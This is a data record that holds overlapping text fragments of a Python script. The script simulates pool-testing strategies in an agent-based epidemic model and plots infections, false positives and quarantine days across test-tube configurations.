ngram
listlengths
0
67.8k
[ "model = UserModel.UserModel() return model def get_policy(example_path): Generate_policy = module_from_file(\"Generate_policy\", osp.join(example_path,'Generate_policy.py')) policy_list, event_restriction_fn=Generate_policy.generate_policy()", "file_path): spec = importlib.util.spec_from_file_location(module_name, file_path) module = importlib.util.module_from_spec(spec) spec.loader.exec_module(module) return module def get_example_path():", "per testtube\") plt.ylabel(\"Number of testtubes per agent\") plt.title(\"Pool testing strategies vs total false", "get_example_path(): return sys.argv[1] def get_config_path(path): config_filepath=osp.join(path,'config.txt') return config_filepath def get_file_paths(example_path,config_obj): # File Names", "ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['Quarantined']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of", "get_file_paths(example_path,config_obj): # File Names locations_filename=None agents_filename=osp.join(example_path,config_obj.agents_filename) interactions_FilesList_filename=osp.join(example_path,config_obj.interactions_files_list) events_FilesList_filename=osp.join(example_path,config_obj.events_files_list) if config_obj.locations_filename==\"\": locations_filename=None else: locations_filename=osp.join(example_path,config_obj.locations_filename)", "locations_filename = get_file_paths(example_path,config_obj) interactions_files_list, events_files_list = get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj) # User Model model = get_model(example_path)", "uploaded!') else: eventFiles_obj=ReadFile.ReadFilesList(events_FilesList_filename) events_files_list=list(map(lambda x : osp.join(example_path,x) ,eventFiles_obj.file_list)) if events_files_list==[]: print('No Events inputted')", "locations_filename=None else: locations_filename=osp.join(example_path,config_obj.locations_filename) return agents_filename, interactions_FilesList_filename, events_FilesList_filename, locations_filename def get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj): # Reading through", "step interactions_files_list=None events_files_list=None if config_obj.interactions_files_list=='': print('No Interaction files uploaded!') else: interactionFiles_obj=ReadFile.ReadFilesList(interactions_FilesList_filename) interactions_files_list=list(map(lambda x", "num_tests = 90 ntpa_max=6 napt_max=6 X=np.arange(1, napt_max+1, 1) Y=np.arange(1, ntpa_max+1, 1) X,Y =", "def get_file_paths(example_path,config_obj): # File Names locations_filename=None agents_filename=osp.join(example_path,config_obj.agents_filename) interactions_FilesList_filename=osp.join(example_path,config_obj.interactions_files_list) events_FilesList_filename=osp.join(example_path,config_obj.events_files_list) if config_obj.locations_filename==\"\": locations_filename=None else:", "get_config_path(example_path) # Read Config file using ReadFile.ReadConfiguration config_obj=ReadFile.ReadConfiguration(config_filename) agents_filename, interactions_FilesList_filename,\\ events_FilesList_filename, locations_filename =", "config_obj.events_files_list=='': print('No Event files uploaded!') else: eventFiles_obj=ReadFile.ReadFilesList(events_FilesList_filename) events_files_list=list(map(lambda x : osp.join(example_path,x) ,eventFiles_obj.file_list)) if", "= get_model(example_path) # policy_list, event_restriction_fn=get_policy(example_path) ########################################################################################## num_tests = 90 ntpa_max=6 napt_max=6 X=np.arange(1, napt_max+1,", "return interactions_files_list, events_files_list def get_model(example_path): UserModel = module_from_file(\"Generate_model\", osp.join(example_path,'UserModel.py')) model = UserModel.UserModel() return", "a file (for interactions/events) that contain file names which contain interactions and event", "plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['False Positives']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents", "tdict, total_infection, total_quarantined_days, wrongly_quarantined_days, total_test_cost = world_obj.simulate_worlds(plot=False) data_list['Infected'][j][i]=total_infection data_list['False Positives'][j][i]=world_obj.total_false_positives data_list['Quarantined'][j][i]=total_quarantined_days print(data_list) fig,", "ax.plot_surface(X, Y, np.array(data_list['Infected']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per testtube\") plt.ylabel(\"Number of testtubes", "print(X) print(Y) data_list={'Infected':np.zeros((ntpa_max,napt_max)),'False Positives':np.zeros((ntpa_max,napt_max)),'Quarantined':np.zeros((ntpa_max,napt_max))} for i in range(napt_max): for j in range(ntpa_max): policy_list,", "interactions_files_list, events_files_list def get_model(example_path): UserModel = module_from_file(\"Generate_model\", osp.join(example_path,'UserModel.py')) model = UserModel.UserModel() return model", "plt.title(\"Pool testing strategies vs total infections\") fig.colorbar(surf, shrink=0.5, aspect=5) plt.show() fig, ax =", "np.array(data_list['Quarantined']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per testtube\") plt.ylabel(\"Number of testtubes per agent\")", "interactions_files_list==[]: print('No Interactions inputted') if config_obj.events_files_list=='': print('No Event files uploaded!') else: eventFiles_obj=ReadFile.ReadFilesList(events_FilesList_filename) events_files_list=list(map(lambda", "fig.colorbar(surf, shrink=0.5, aspect=5) plt.show() fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y,", "1) Y=np.arange(1, ntpa_max+1, 1) X,Y = np.meshgrid(X,Y) print(X) print(Y) data_list={'Infected':np.zeros((ntpa_max,napt_max)),'False Positives':np.zeros((ntpa_max,napt_max)),'Quarantined':np.zeros((ntpa_max,napt_max))} for i", "90 ntpa_max=6 napt_max=6 X=np.arange(1, napt_max+1, 1) Y=np.arange(1, ntpa_max+1, 1) X,Y = np.meshgrid(X,Y) print(X)", "testtube\") plt.ylabel(\"Number of testtubes per agent\") plt.title(\"Pool testing strategies vs total false positives\")", "import World import importlib.util import os.path as osp import policy_generator as pg import", "false positives\") fig.colorbar(surf, shrink=0.5, aspect=5) plt.show() fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf =", "per agent\") plt.title(\"Pool testing strategies vs total false positives\") fig.colorbar(surf, shrink=0.5, aspect=5) plt.show()", "= pg.generate_group_testing_tests_policy(num_tests, i+1, j+1) world_obj=World.World(config_obj,model,policy_list,event_restriction_fn,agents_filename,interactions_files_list,locations_filename,events_files_list) tdict, total_infection, total_quarantined_days, wrongly_quarantined_days, total_test_cost = world_obj.simulate_worlds(plot=False) data_list['Infected'][j][i]=total_infection", ",interactionFiles_obj.file_list)) if interactions_files_list==[]: print('No Interactions inputted') if config_obj.events_files_list=='': print('No Event files uploaded!') else:", "shrink=0.5, aspect=5) plt.show() fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['Infected']),", "plt.ylabel(\"Number of testtubes per agent\") plt.title(\"Pool testing strategies vs total quarantine\") fig.colorbar(surf, shrink=0.5,", "module def get_example_path(): return sys.argv[1] def get_config_path(path): config_filepath=osp.join(path,'config.txt') return config_filepath def get_file_paths(example_path,config_obj): #", "plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['Quarantined']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per", "config_filepath=osp.join(path,'config.txt') return config_filepath def get_file_paths(example_path,config_obj): # File Names locations_filename=None agents_filename=osp.join(example_path,config_obj.agents_filename) interactions_FilesList_filename=osp.join(example_path,config_obj.interactions_files_list) events_FilesList_filename=osp.join(example_path,config_obj.events_files_list) if", "matplotlib.ticker import LinearLocator import numpy as np def module_from_file(module_name, file_path): spec = importlib.util.spec_from_file_location(module_name,", "= ax.plot_surface(X, Y, np.array(data_list['Quarantined']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per testtube\") plt.ylabel(\"Number of", "osp.join(example_path,'UserModel.py')) model = UserModel.UserModel() return model def get_policy(example_path): Generate_policy = module_from_file(\"Generate_policy\", osp.join(example_path,'Generate_policy.py')) policy_list,", "= get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj) # User Model model = get_model(example_path) # policy_list, event_restriction_fn=get_policy(example_path) ########################################################################################## num_tests", "event_restriction_fn if __name__==\"__main__\": example_path = get_example_path() config_filename = get_config_path(example_path) # Read Config file", "events_FilesList_filename=osp.join(example_path,config_obj.events_files_list) if config_obj.locations_filename==\"\": locations_filename=None else: locations_filename=osp.join(example_path,config_obj.locations_filename) return agents_filename, interactions_FilesList_filename, events_FilesList_filename, locations_filename def get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj):", "testtubes per agent\") plt.title(\"Pool testing strategies vs total infections\") fig.colorbar(surf, shrink=0.5, aspect=5) plt.show()", "through a file (for interactions/events) that contain file names which contain interactions and", "cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per testtube\") plt.ylabel(\"Number of testtubes per agent\") plt.title(\"Pool", "import importlib.util import os.path as osp import policy_generator as pg import matplotlib.pyplot as", "interactions_files_list=list(map(lambda x : osp.join(example_path,x) ,interactionFiles_obj.file_list)) if interactions_files_list==[]: print('No Interactions inputted') if config_obj.events_files_list=='': print('No", "File Names locations_filename=None agents_filename=osp.join(example_path,config_obj.agents_filename) interactions_FilesList_filename=osp.join(example_path,config_obj.interactions_files_list) events_FilesList_filename=osp.join(example_path,config_obj.events_files_list) if config_obj.locations_filename==\"\": locations_filename=None else: locations_filename=osp.join(example_path,config_obj.locations_filename) return agents_filename,", "# Reading through a file (for interactions/events) that contain file names which contain", "policy_list, event_restriction_fn = pg.generate_group_testing_tests_policy(num_tests, i+1, j+1) world_obj=World.World(config_obj,model,policy_list,event_restriction_fn,agents_filename,interactions_files_list,locations_filename,events_files_list) tdict, total_infection, total_quarantined_days, wrongly_quarantined_days, total_test_cost =", "x : osp.join(example_path,x) ,interactionFiles_obj.file_list)) if interactions_files_list==[]: print('No Interactions inputted') if config_obj.events_files_list=='': print('No Event", "total_test_cost = world_obj.simulate_worlds(plot=False) data_list['Infected'][j][i]=total_infection data_list['False Positives'][j][i]=world_obj.total_false_positives data_list['Quarantined'][j][i]=total_quarantined_days print(data_list) fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"})", "events_files_list=list(map(lambda x : osp.join(example_path,x) ,eventFiles_obj.file_list)) if events_files_list==[]: print('No Events inputted') return interactions_files_list, events_files_list", "ReadFile import pickle import World import importlib.util import os.path as osp import policy_generator", "for i in range(napt_max): for j in range(ntpa_max): policy_list, event_restriction_fn = pg.generate_group_testing_tests_policy(num_tests, i+1,", "range(ntpa_max): policy_list, event_restriction_fn = pg.generate_group_testing_tests_policy(num_tests, i+1, j+1) world_obj=World.World(config_obj,model,policy_list,event_restriction_fn,agents_filename,interactions_files_list,locations_filename,events_files_list) tdict, total_infection, total_quarantined_days, wrongly_quarantined_days, total_test_cost", "of testtubes per agent\") plt.title(\"Pool testing strategies vs total quarantine\") fig.colorbar(surf, shrink=0.5, aspect=5)", "data_list['False Positives'][j][i]=world_obj.total_false_positives data_list['Quarantined'][j][i]=total_quarantined_days print(data_list) fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y,", "events_files_list = get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj) # User Model model = get_model(example_path) # policy_list, event_restriction_fn=get_policy(example_path) ##########################################################################################", "as osp import policy_generator as pg import matplotlib.pyplot as plt from matplotlib import", "ReadFile.ReadConfiguration config_obj=ReadFile.ReadConfiguration(config_filename) agents_filename, interactions_FilesList_filename,\\ events_FilesList_filename, locations_filename = get_file_paths(example_path,config_obj) interactions_files_list, events_files_list = get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj) #", "files uploaded!') else: interactionFiles_obj=ReadFile.ReadFilesList(interactions_FilesList_filename) interactions_files_list=list(map(lambda x : osp.join(example_path,x) ,interactionFiles_obj.file_list)) if interactions_files_list==[]: print('No Interactions", "locations_filename def get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj): # Reading through a file (for interactions/events) that contain file", "surf = ax.plot_surface(X, Y, np.array(data_list['Infected']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per testtube\") plt.ylabel(\"Number", "antialiased=False) plt.xlabel(\"Number of Agents per testtube\") plt.ylabel(\"Number of testtubes per agent\") plt.title(\"Pool testing", "Read Config file using ReadFile.ReadConfiguration config_obj=ReadFile.ReadConfiguration(config_filename) agents_filename, interactions_FilesList_filename,\\ events_FilesList_filename, locations_filename = get_file_paths(example_path,config_obj) interactions_files_list,", "i+1, j+1) world_obj=World.World(config_obj,model,policy_list,event_restriction_fn,agents_filename,interactions_files_list,locations_filename,events_files_list) tdict, total_infection, total_quarantined_days, wrongly_quarantined_days, total_test_cost = world_obj.simulate_worlds(plot=False) data_list['Infected'][j][i]=total_infection data_list['False Positives'][j][i]=world_obj.total_false_positives", "Generate_policy = module_from_file(\"Generate_policy\", osp.join(example_path,'Generate_policy.py')) policy_list, event_restriction_fn=Generate_policy.generate_policy() return policy_list, event_restriction_fn if __name__==\"__main__\": example_path =", "data_list['Quarantined'][j][i]=total_quarantined_days print(data_list) fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['False Positives']),", "osp.join(example_path,x) ,eventFiles_obj.file_list)) if events_files_list==[]: print('No Events inputted') return interactions_files_list, events_files_list def get_model(example_path): UserModel", "else: interactionFiles_obj=ReadFile.ReadFilesList(interactions_FilesList_filename) interactions_files_list=list(map(lambda x : osp.join(example_path,x) ,interactionFiles_obj.file_list)) if interactions_files_list==[]: print('No Interactions inputted') if", "locations_filename=osp.join(example_path,config_obj.locations_filename) return agents_filename, interactions_FilesList_filename, events_FilesList_filename, locations_filename def get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj): # Reading through a file", "module = importlib.util.module_from_spec(spec) spec.loader.exec_module(module) return module def get_example_path(): return sys.argv[1] def get_config_path(path): config_filepath=osp.join(path,'config.txt')", "if interactions_files_list==[]: print('No Interactions inputted') if config_obj.events_files_list=='': print('No Event files uploaded!') else: eventFiles_obj=ReadFile.ReadFilesList(events_FilesList_filename)", "User Model model = get_model(example_path) # policy_list, event_restriction_fn=get_policy(example_path) ########################################################################################## num_tests = 90 ntpa_max=6", "importlib.util.module_from_spec(spec) spec.loader.exec_module(module) return module def get_example_path(): return sys.argv[1] def get_config_path(path): config_filepath=osp.join(path,'config.txt') return config_filepath", "from matplotlib.ticker import LinearLocator import numpy as np def module_from_file(module_name, file_path): spec =", "which contain interactions and event details for a time step interactions_files_list=None events_files_list=None if", "Reading through a file (for interactions/events) that contain file names which contain interactions", "sys.argv[1] def get_config_path(path): config_filepath=osp.join(path,'config.txt') return config_filepath def get_file_paths(example_path,config_obj): # File Names locations_filename=None agents_filename=osp.join(example_path,config_obj.agents_filename)", "import policy_generator as pg import matplotlib.pyplot as plt from matplotlib import cm from", "using ReadFile.ReadConfiguration config_obj=ReadFile.ReadConfiguration(config_filename) agents_filename, interactions_FilesList_filename,\\ events_FilesList_filename, locations_filename = get_file_paths(example_path,config_obj) interactions_files_list, events_files_list = get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj)", "config_filepath def get_file_paths(example_path,config_obj): # File Names locations_filename=None agents_filename=osp.join(example_path,config_obj.agents_filename) interactions_FilesList_filename=osp.join(example_path,config_obj.interactions_files_list) events_FilesList_filename=osp.join(example_path,config_obj.events_files_list) if config_obj.locations_filename==\"\": locations_filename=None", "of Agents per testtube\") plt.ylabel(\"Number of testtubes per agent\") plt.title(\"Pool testing strategies vs", "Y, np.array(data_list['Infected']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per testtube\") plt.ylabel(\"Number of testtubes per", "total false positives\") fig.colorbar(surf, shrink=0.5, aspect=5) plt.show() fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf", "= get_file_paths(example_path,config_obj) interactions_files_list, events_files_list = get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj) # User Model model = get_model(example_path) #", "policy_generator as pg import matplotlib.pyplot as plt from matplotlib import cm from matplotlib.ticker", "pg.generate_group_testing_tests_policy(num_tests, i+1, j+1) world_obj=World.World(config_obj,model,policy_list,event_restriction_fn,agents_filename,interactions_files_list,locations_filename,events_files_list) tdict, total_infection, total_quarantined_days, wrongly_quarantined_days, total_test_cost = world_obj.simulate_worlds(plot=False) data_list['Infected'][j][i]=total_infection data_list['False", "1) X,Y = np.meshgrid(X,Y) print(X) print(Y) data_list={'Infected':np.zeros((ntpa_max,napt_max)),'False Positives':np.zeros((ntpa_max,napt_max)),'Quarantined':np.zeros((ntpa_max,napt_max))} for i in range(napt_max): for", "strategies vs total false positives\") fig.colorbar(surf, shrink=0.5, aspect=5) plt.show() fig, ax = plt.subplots(subplot_kw={\"projection\":", "return agents_filename, interactions_FilesList_filename, events_FilesList_filename, locations_filename def get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj): # Reading through a file (for", "range(napt_max): for j in range(ntpa_max): policy_list, event_restriction_fn = pg.generate_group_testing_tests_policy(num_tests, i+1, j+1) world_obj=World.World(config_obj,model,policy_list,event_restriction_fn,agents_filename,interactions_files_list,locations_filename,events_files_list) tdict,", "print('No Interaction files uploaded!') else: interactionFiles_obj=ReadFile.ReadFilesList(interactions_FilesList_filename) interactions_files_list=list(map(lambda x : osp.join(example_path,x) ,interactionFiles_obj.file_list)) if interactions_files_list==[]:", "np.array(data_list['False Positives']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per testtube\") plt.ylabel(\"Number of testtubes per", "import matplotlib.pyplot as plt from matplotlib import cm from matplotlib.ticker import LinearLocator import", "event_restriction_fn=Generate_policy.generate_policy() return policy_list, event_restriction_fn if __name__==\"__main__\": example_path = get_example_path() config_filename = get_config_path(example_path) #", "interactions_FilesList_filename,\\ events_FilesList_filename, locations_filename = get_file_paths(example_path,config_obj) interactions_files_list, events_files_list = get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj) # User Model model", "# File Names locations_filename=None agents_filename=osp.join(example_path,config_obj.agents_filename) interactions_FilesList_filename=osp.join(example_path,config_obj.interactions_files_list) events_FilesList_filename=osp.join(example_path,config_obj.events_files_list) if config_obj.locations_filename==\"\": locations_filename=None else: locations_filename=osp.join(example_path,config_obj.locations_filename) return", "spec.loader.exec_module(module) return module def get_example_path(): return sys.argv[1] def get_config_path(path): config_filepath=osp.join(path,'config.txt') return config_filepath def", "ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['Infected']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of", "plt.show() fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['Infected']), cmap=cm.coolwarm,linewidth=0, antialiased=False)", "interactions_files_list=None events_files_list=None if config_obj.interactions_files_list=='': print('No Interaction files uploaded!') else: interactionFiles_obj=ReadFile.ReadFilesList(interactions_FilesList_filename) interactions_files_list=list(map(lambda x :", "fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['Quarantined']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number", "total infections\") fig.colorbar(surf, shrink=0.5, aspect=5) plt.show() fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf =", "pickle import World import importlib.util import os.path as osp import policy_generator as pg", "plt from matplotlib import cm from matplotlib.ticker import LinearLocator import numpy as np", "= importlib.util.spec_from_file_location(module_name, file_path) module = importlib.util.module_from_spec(spec) spec.loader.exec_module(module) return module def get_example_path(): return sys.argv[1]", "= np.meshgrid(X,Y) print(X) print(Y) data_list={'Infected':np.zeros((ntpa_max,napt_max)),'False Positives':np.zeros((ntpa_max,napt_max)),'Quarantined':np.zeros((ntpa_max,napt_max))} for i in range(napt_max): for j in", "model = get_model(example_path) # policy_list, event_restriction_fn=get_policy(example_path) ########################################################################################## num_tests = 90 ntpa_max=6 napt_max=6 X=np.arange(1,", "plt.xlabel(\"Number of Agents per testtube\") plt.ylabel(\"Number of testtubes per agent\") plt.title(\"Pool testing strategies", "get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj): # Reading through a file (for interactions/events) that contain file names which", "return module def get_example_path(): return sys.argv[1] def get_config_path(path): config_filepath=osp.join(path,'config.txt') return config_filepath def get_file_paths(example_path,config_obj):", "world_obj=World.World(config_obj,model,policy_list,event_restriction_fn,agents_filename,interactions_files_list,locations_filename,events_files_list) tdict, total_infection, total_quarantined_days, wrongly_quarantined_days, total_test_cost = world_obj.simulate_worlds(plot=False) data_list['Infected'][j][i]=total_infection data_list['False Positives'][j][i]=world_obj.total_false_positives data_list['Quarantined'][j][i]=total_quarantined_days print(data_list)", "Events inputted') return interactions_files_list, events_files_list def get_model(example_path): UserModel = module_from_file(\"Generate_model\", osp.join(example_path,'UserModel.py')) model =", "data_list={'Infected':np.zeros((ntpa_max,napt_max)),'False Positives':np.zeros((ntpa_max,napt_max)),'Quarantined':np.zeros((ntpa_max,napt_max))} for i in range(napt_max): for j in range(ntpa_max): policy_list, event_restriction_fn =", "eventFiles_obj=ReadFile.ReadFilesList(events_FilesList_filename) events_files_list=list(map(lambda x : osp.join(example_path,x) ,eventFiles_obj.file_list)) if events_files_list==[]: print('No Events inputted') return interactions_files_list,", "events_files_list==[]: print('No Events inputted') return interactions_files_list, events_files_list def get_model(example_path): UserModel = module_from_file(\"Generate_model\", osp.join(example_path,'UserModel.py'))", "plt.title(\"Pool testing strategies vs total false positives\") fig.colorbar(surf, shrink=0.5, aspect=5) plt.show() fig, ax", "event details for a time step interactions_files_list=None events_files_list=None if config_obj.interactions_files_list=='': print('No Interaction files", "event_restriction_fn = pg.generate_group_testing_tests_policy(num_tests, i+1, j+1) world_obj=World.World(config_obj,model,policy_list,event_restriction_fn,agents_filename,interactions_files_list,locations_filename,events_files_list) tdict, total_infection, total_quarantined_days, wrongly_quarantined_days, total_test_cost = world_obj.simulate_worlds(plot=False)", "of testtubes per agent\") plt.title(\"Pool testing strategies vs total infections\") fig.colorbar(surf, shrink=0.5, aspect=5)", "model def get_policy(example_path): Generate_policy = module_from_file(\"Generate_policy\", osp.join(example_path,'Generate_policy.py')) policy_list, event_restriction_fn=Generate_policy.generate_policy() return policy_list, event_restriction_fn if", "in range(napt_max): for j in range(ntpa_max): policy_list, event_restriction_fn = pg.generate_group_testing_tests_policy(num_tests, i+1, j+1) world_obj=World.World(config_obj,model,policy_list,event_restriction_fn,agents_filename,interactions_files_list,locations_filename,events_files_list)", "else: eventFiles_obj=ReadFile.ReadFilesList(events_FilesList_filename) events_files_list=list(map(lambda x : osp.join(example_path,x) ,eventFiles_obj.file_list)) if events_files_list==[]: print('No Events inputted') return", "plt.ylabel(\"Number of testtubes per agent\") plt.title(\"Pool testing strategies vs total infections\") fig.colorbar(surf, shrink=0.5,", "from matplotlib import cm from matplotlib.ticker import LinearLocator import numpy as np def", "Config file using ReadFile.ReadConfiguration config_obj=ReadFile.ReadConfiguration(config_filename) agents_filename, interactions_FilesList_filename,\\ events_FilesList_filename, locations_filename = get_file_paths(example_path,config_obj) interactions_files_list, events_files_list", "Positives':np.zeros((ntpa_max,napt_max)),'Quarantined':np.zeros((ntpa_max,napt_max))} for i in range(napt_max): for j in range(ntpa_max): policy_list, event_restriction_fn = pg.generate_group_testing_tests_policy(num_tests,", "print('No Interactions inputted') if config_obj.events_files_list=='': print('No Event files uploaded!') else: eventFiles_obj=ReadFile.ReadFilesList(events_FilesList_filename) events_files_list=list(map(lambda x", "Y, np.array(data_list['Quarantined']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per testtube\") plt.ylabel(\"Number of testtubes per", "j+1) world_obj=World.World(config_obj,model,policy_list,event_restriction_fn,agents_filename,interactions_files_list,locations_filename,events_files_list) tdict, total_infection, total_quarantined_days, wrongly_quarantined_days, total_test_cost = world_obj.simulate_worlds(plot=False) data_list['Infected'][j][i]=total_infection data_list['False Positives'][j][i]=world_obj.total_false_positives data_list['Quarantined'][j][i]=total_quarantined_days", "surf = ax.plot_surface(X, Y, np.array(data_list['False Positives']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per testtube\")", "fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['False Positives']), cmap=cm.coolwarm,linewidth=0, antialiased=False)", "interactions and event details for a time step interactions_files_list=None events_files_list=None if config_obj.interactions_files_list=='': print('No", "j in range(ntpa_max): policy_list, event_restriction_fn = pg.generate_group_testing_tests_policy(num_tests, i+1, j+1) world_obj=World.World(config_obj,model,policy_list,event_restriction_fn,agents_filename,interactions_files_list,locations_filename,events_files_list) tdict, total_infection, total_quarantined_days,", "get_example_path() config_filename = get_config_path(example_path) # Read Config file using ReadFile.ReadConfiguration config_obj=ReadFile.ReadConfiguration(config_filename) agents_filename, interactions_FilesList_filename,\\", "napt_max=6 X=np.arange(1, napt_max+1, 1) Y=np.arange(1, ntpa_max+1, 1) X,Y = np.meshgrid(X,Y) print(X) print(Y) data_list={'Infected':np.zeros((ntpa_max,napt_max)),'False", "def get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj): # Reading through a file (for interactions/events) that contain file names", "if config_obj.locations_filename==\"\": locations_filename=None else: locations_filename=osp.join(example_path,config_obj.locations_filename) return agents_filename, interactions_FilesList_filename, events_FilesList_filename, locations_filename def get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj): #", "def get_example_path(): return sys.argv[1] def get_config_path(path): config_filepath=osp.join(path,'config.txt') return config_filepath def get_file_paths(example_path,config_obj): # File", "UserModel = module_from_file(\"Generate_model\", osp.join(example_path,'UserModel.py')) model = UserModel.UserModel() return model def get_policy(example_path): Generate_policy =", "= plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['Quarantined']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents", "file (for interactions/events) that contain file names which contain interactions and event details", "def get_policy(example_path): Generate_policy = module_from_file(\"Generate_policy\", osp.join(example_path,'Generate_policy.py')) policy_list, event_restriction_fn=Generate_policy.generate_policy() return policy_list, event_restriction_fn if __name__==\"__main__\":", "example_path = get_example_path() config_filename = get_config_path(example_path) # Read Config file using ReadFile.ReadConfiguration config_obj=ReadFile.ReadConfiguration(config_filename)", "osp.join(example_path,x) ,interactionFiles_obj.file_list)) if interactions_files_list==[]: print('No Interactions inputted') if config_obj.events_files_list=='': print('No Event files uploaded!')", "if events_files_list==[]: print('No Events inputted') return interactions_files_list, events_files_list def get_model(example_path): UserModel = module_from_file(\"Generate_model\",", "cm from matplotlib.ticker import LinearLocator import numpy as np def module_from_file(module_name, file_path): spec", "events_files_list=None if config_obj.interactions_files_list=='': print('No Interaction files uploaded!') else: interactionFiles_obj=ReadFile.ReadFilesList(interactions_FilesList_filename) interactions_files_list=list(map(lambda x : osp.join(example_path,x)", "inputted') return interactions_files_list, events_files_list def get_model(example_path): UserModel = module_from_file(\"Generate_model\", osp.join(example_path,'UserModel.py')) model = UserModel.UserModel()", "matplotlib import cm from matplotlib.ticker import LinearLocator import numpy as np def module_from_file(module_name,", "numpy as np def module_from_file(module_name, file_path): spec = importlib.util.spec_from_file_location(module_name, file_path) module = importlib.util.module_from_spec(spec)", "testtube\") plt.ylabel(\"Number of testtubes per agent\") plt.title(\"Pool testing strategies vs total quarantine\") fig.colorbar(surf,", "x : osp.join(example_path,x) ,eventFiles_obj.file_list)) if events_files_list==[]: print('No Events inputted') return interactions_files_list, events_files_list def", "positives\") fig.colorbar(surf, shrink=0.5, aspect=5) plt.show() fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X,", "get_model(example_path): UserModel = module_from_file(\"Generate_model\", osp.join(example_path,'UserModel.py')) model = UserModel.UserModel() return model def get_policy(example_path): Generate_policy", "ax.plot_surface(X, Y, np.array(data_list['False Positives']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per testtube\") plt.ylabel(\"Number of", "that contain file names which contain interactions and event details for a time", "per testtube\") plt.ylabel(\"Number of testtubes per agent\") plt.title(\"Pool testing strategies vs total infections\")", "per agent\") plt.title(\"Pool testing strategies vs total infections\") fig.colorbar(surf, shrink=0.5, aspect=5) plt.show() fig,", "aspect=5) plt.show() fig, ax = plt.subplots(subplot_kw={\"projection\": \"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['Quarantined']), cmap=cm.coolwarm,linewidth=0,", ",eventFiles_obj.file_list)) if events_files_list==[]: print('No Events inputted') return interactions_files_list, events_files_list def get_model(example_path): UserModel =", "import LinearLocator import numpy as np def module_from_file(module_name, file_path): spec = importlib.util.spec_from_file_location(module_name, file_path)", "testtubes per agent\") plt.title(\"Pool testing strategies vs total quarantine\") fig.colorbar(surf, shrink=0.5, aspect=5) plt.show()", "\"3d\"}) surf = ax.plot_surface(X, Y, np.array(data_list['Infected']), cmap=cm.coolwarm,linewidth=0, antialiased=False) plt.xlabel(\"Number of Agents per testtube\")", "module_from_file(\"Generate_model\", osp.join(example_path,'UserModel.py')) model = UserModel.UserModel() return model def get_policy(example_path): Generate_policy = module_from_file(\"Generate_policy\", osp.join(example_path,'Generate_policy.py'))", "get_file_paths(example_path,config_obj) interactions_files_list, events_files_list = get_file_names_list(example_path,interactions_FilesList_filename,events_FilesList_filename,config_obj) # User Model model = get_model(example_path) # policy_list,", "= world_obj.simulate_worlds(plot=False) data_list['Infected'][j][i]=total_infection data_list['False Positives'][j][i]=world_obj.total_false_positives data_list['Quarantined'][j][i]=total_quarantined_days print(data_list) fig, ax = plt.subplots(subplot_kw={\"projection\": 